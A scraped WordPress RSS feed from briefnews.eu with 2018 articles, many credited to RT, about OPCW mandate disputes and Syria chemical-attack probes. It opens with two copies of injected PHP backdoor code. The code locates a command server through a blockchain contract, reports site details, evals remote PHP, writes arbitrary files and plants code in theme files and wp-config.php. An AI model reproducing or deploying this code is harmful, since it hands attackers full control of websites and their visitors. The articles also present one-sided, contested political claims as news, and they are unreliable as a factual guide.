// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); OPCW – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 27 Jun 2018 05:12:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png OPCW – Brief News https://briefnews.eu 32 32 ‘UK & US want OPCW powers expanded to justify future attacks against Syria’ https://briefnews.eu/uk-us-want-opcw-powers-expanded-to-justify-future-attacks-against-syria/ https://briefnews.eu/uk-us-want-opcw-powers-expanded-to-justify-future-attacks-against-syria/#respond Wed, 27 Jun 2018 05:12:21 +0000 http://briefnews.eu/uk-us-want-opcw-powers-expanded-to-justify-future-attacks-against-syria/ London’s effort to empower the UN chemical watchdog with the right to assign guilt serves Western interests in finding loopholes and justifications for new attacks against Damascus, investigative journalist Rick Sterling told RT.

“The UK in alliance with the US is hoping to have the OPCW able to assign blame and provide a rationale for future attacks by the US and the UK,” Sterling believes.

Under Donald Trump’s administration, the US used chemical incidents in Syria as a pretext to stage two nearly instant ‘retaliatory’ strikes against Damascus without due investigation. The UK, as well as France, joined the US-led military endeavor this spring when they bombarded government bases and infrastructure in response to an alleged chemical attack in Douma on April 7. A year earlier, Washington unilaterally launched 59 Tomahawk cruise missiles at Shayrat Airbase, as a response to the Khan Shaykhun chemical incident on 4 April 2017.

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UK Foreign Secretary Boris Johnson addresses a special session of the OPCW in the Hague © Yves Herman

Moscow has repeatedly criticized the OPCW-UN Joint Investigative Mechanism (JIM) for mishandling its probes, cherry-picking evidence and for vague wording in their reports. JIM’s mandate expired last November, following a number of failed attempts by the UNSC to extend its authority.

“One of the problems is that OPCW has not been willing to go to the sites in some cases and they don’t pursue evidence which contradicts the Western claims,” Sterling noted.

Despite repeated failures by OPCW experts to impartially investigate chemical attack claims in Syria –and at times even to visit the sites of an actual alleged incident– an ongoing special conference of the watchdog in the Hague is set to vote on the expansion of its mandate. The proposed new powers would involve the OPCW declaring any party to a conflict responsible for any chemical incident.

“OPCW has assigned blame to the Syrian government in various instances in the past, including chlorine, but if you look at their reports they rely really on witnesses who are provided to them by the opposition. So it is very logical to question the objectivity and the independence of the OPCW,” Sterling told RT. “Even the director of the OPCW is Turkish. And Turkey, of course, is a member of NATO.”

US seeking to turn OPCW into ‘manipulation instrument’ to exert pressure on Syria – Russian MoD

All of the latest OPCW reports were in large part based on open source data, witness testimonies and video and photo evidence provided by select ‘moderate’ rebel groups and controversial NGOs, such as the Syrian Civil Defence (SCD) –better known as the White Helmets– or the US-based Syrian American Medical Society (SAMS). Those same sources by coincidence were instrumental in heating up international public outrage in the buildup for ‘retaliatory’ US-led strikes against Damascus.

“In the last several years we’ve seen a situation in Syria where the efforts of countries to overthrow, to topple the Damascus government have used claims, accusations of chemical weapons usage, and the OPCW have been a part of that,” Sterling believes.

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]]> https://briefnews.eu/uk-us-want-opcw-powers-expanded-to-justify-future-attacks-against-syria/feed/ 0 UK plan to turn OPCW into politicized quasi-prosecutorial body will undermine intl security – Russia https://briefnews.eu/uk-plan-to-turn-opcw-into-politicized-quasi-prosecutorial-body-will-undermine-intl-security-russia/ https://briefnews.eu/uk-plan-to-turn-opcw-into-politicized-quasi-prosecutorial-body-will-undermine-intl-security-russia/#respond Wed, 27 Jun 2018 01:27:10 +0000 http://briefnews.eu/uk-plan-to-turn-opcw-into-politicized-quasi-prosecutorial-body-will-undermine-intl-security-russia/ Moscow strongly opposes the UK’s attempts to give chemical watchdog OPCW authority to pin the blame in chemical attack probes, as it may turn the body into a political tool and undermine the entire international security system.

An ongoing special conference of the Organization for the Prohibition of Chemical Weapons (OPCW) in The Hague was called by Britain, which insists that the body should have the power not only to investigate alleged chemical attacks as it does currently, but also to identify the culprit and assign guilt. The draft proposal, swiftly supported by London’s allies, represents “a direct invasion of the exclusive prerogatives of the UN Security Council,” the head of the Russian delegation, Georgy Kalamanov, said in his speech at the conference, adding that it also “undermines the authority of the OPCW and the very integrity of CWC (Chemical Weapons Convention).”

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OPCW headquarters in the Hague © Wilfried Wirth

The Russian representative slammed the attempts by the UK to turn the OPCW from a body focused on “providing technical assistance to member states in executing the requirements of the CWC” into a “quasi-prosecutorial, policing and forensic-medical structure.”

“Such a course is fraught with unpredictable consequences,” Kalamanov warned. “Won’t it lead to a collapse of the global nonproliferation regimes or even the breakdown of the whole international security system, established after World War II with the central role of the UN and its Security Council in international affairs?”

Even under its current mandate, the OPCW at times abuses and violates its own rules, Kalamanov noted, recalling the probes of the chemical incidents in Syria. He reiterated that in many cases they were carried out “remotely” and in violation of the core principle of Chain of Custody and many of the CWC norms, and relied on evidence from biased and unreliable parties, completely ignoring the arguments and data provided by the government in Damascus. Kalamanov also addressed the poisoning of double agent Sergei Skripal earlier this year, which he said was absurdly and “cynically instigated by the UK against Russia,” and in which the OPCW took a back seat and provided no new insight but instead simply agreed with London’s narrative of Moscow’s “highly likely” involvement.

Ahead of a vote planned for Wednesday, Kalamanov urged partners to unite in order to block the “dangerous initiative,” saying that Russia will present its own draft on the OPCW mandate during the conference.

READ MORE: Cover-up? Twitter reacts to report that UK government will buy Skripal’s house

UK Foreign Secretary Boris Johnson, who arrived in The Hague for the occasion has, meanwhile, called on the member states to refrain from backing the Russian proposal. “I would ask all those present to vote against the other tabled motions which would render the OPCW toothless and undermine the Technical Secretariat and Fact-Finding Mission in Syria,” Johnson said.

The US, France and Germany have already said that they are willing to back the UK in its push. Britain and its Western allies argue that the lack of powers on the part of OPCW has allowed the Syrian government to escape responsibility for chemical attacks against its own citizens, though in many cases no convincing proof that Damascus was behind the claimed atrocities was ever presented.

Meanwhile, the chairman of the OPCW special session, Adbelouahab Bellouki, said on Tuesday that the vote on the UK’s initiative will take place “in 24 hours,” adding that there had been no consensus on the proposal among members.

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]]> https://briefnews.eu/uk-plan-to-turn-opcw-into-politicized-quasi-prosecutorial-body-will-undermine-intl-security-russia/feed/ 0 'Should we wait around?' US defends premature Syria strike ahead of OPCW probe https://briefnews.eu/should-we-wait-around-us-defends-premature-syria-strike-ahead-of-opcw-probe/ https://briefnews.eu/should-we-wait-around-us-defends-premature-syria-strike-ahead-of-opcw-probe/#respond Wed, 18 Apr 2018 03:48:52 +0000 http://briefnews.eu/should-we-wait-around-us-defends-premature-syria-strike-ahead-of-opcw-probe/ The US, UK and France could not “wait around” for an independent probe into the alleged chemical attack in Douma, and decided to bomb Syria based on reports and intelligence that cannot be revealed, the US State Department said.

Asked why the three countries launched a strike on Syria last Friday, the night before a team of investigators from the Organization for the Prohibition of Chemical Weapons (OPCW) was due to visit the alleged attack site, State Department spokeswoman Heather Nauert said the US and its allies couldn’t wait for the results of the investigation.

“It can take quite a bit of time for the OPCW to gather its information and compile the report,” Nauert told reporters on Tuesday.

READ MORE: 5 things you should know about US-led ‘one-time’ strikes on Syria

“Should the US and our allies wait around for [Syrian President Bashar] Assad to use more chemical substances on his people? Should we wait for that formal investigation that can take months and months?” she continued, claiming that there have been nine chemical attacks since the start of 2018.

“We have our own intelligence” about what happened, Nauert added, arguing that the three countries have “excellent intelligence gathering” and did not take the decision to attack lightly.

“We have information that leads us to believe that both chlorine and sarin were used in the attack,” Nauert said, repeating the assertion made by the Trump administration on Friday. However, she declined to answer any specifics about the source of this information, claiming that doing so could endanger US sources on the ground.

AP’s Matt Lee pointed out that US intelligence had been “completely wrong” on Iraq’s weapons of mass destruction in 2003 and both the OPCW and the International Atomic Energy Agency (IAEA) had disagreed with such intelligence at the time.

Asked to clarify the comments made by the US representative at the OPCW, that Russian and Syrian personnel on site “may have” tampered with the evidence, Nauert simply read out the envoy’s statement without further explanation.

READ MORE: Moscow slams western media ‘disinformation campaign’ about OPCW experts being denied entry to Douma

Pressured to reveal what might lead the US and UK to claim that Russia “may have” tampered with the evidence, Nauert once again cited intelligence information “that I am not permitted to get into here,” but argued that Assad’s responsibility for the attack was a fact and that Russia and Syria were trying to cover it up.

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An injured man lies on a bed at an underground field hospital in Douma near Damascus, Syria on April 16, 2018. © Ali Hashisho

The Russian Foreign Ministry spokeswoman Maria Zakharova condemned the “unscrupulous disinformation campaign” from the West, saying that new safety arrangements for the OPCW mission had to be made in the wake of Friday’s missile attacks.

Zakharova also accused the UK government of being behind the “false reports” that the OPCW team had been barred from entering Douma so that Russia and Syria could tamper with the evidence. Those pushing such a narrative were willing to risk the OPCW investigators’ lives to promote their “dirty fake news,” Zakharova added.

At the time of the alleged attack, Douma was held by the Jaysh al-Islam (Army of Islam). The group surrendered and accepted evacuation with their families to the militant-held Idlib province on Monday. Russian specialists who examined the area found a laboratory stocked with chemicals and capable of producing two varieties of mustard gas.

The OPCW certified in 2013 that the Syrian government had turned over all its declared chemical stockpiles, noting that the two caches unaccounted for were in rebel-held territory. Nonetheless, Washington has continued to blame every alleged chemical incident on the government in Damascus.

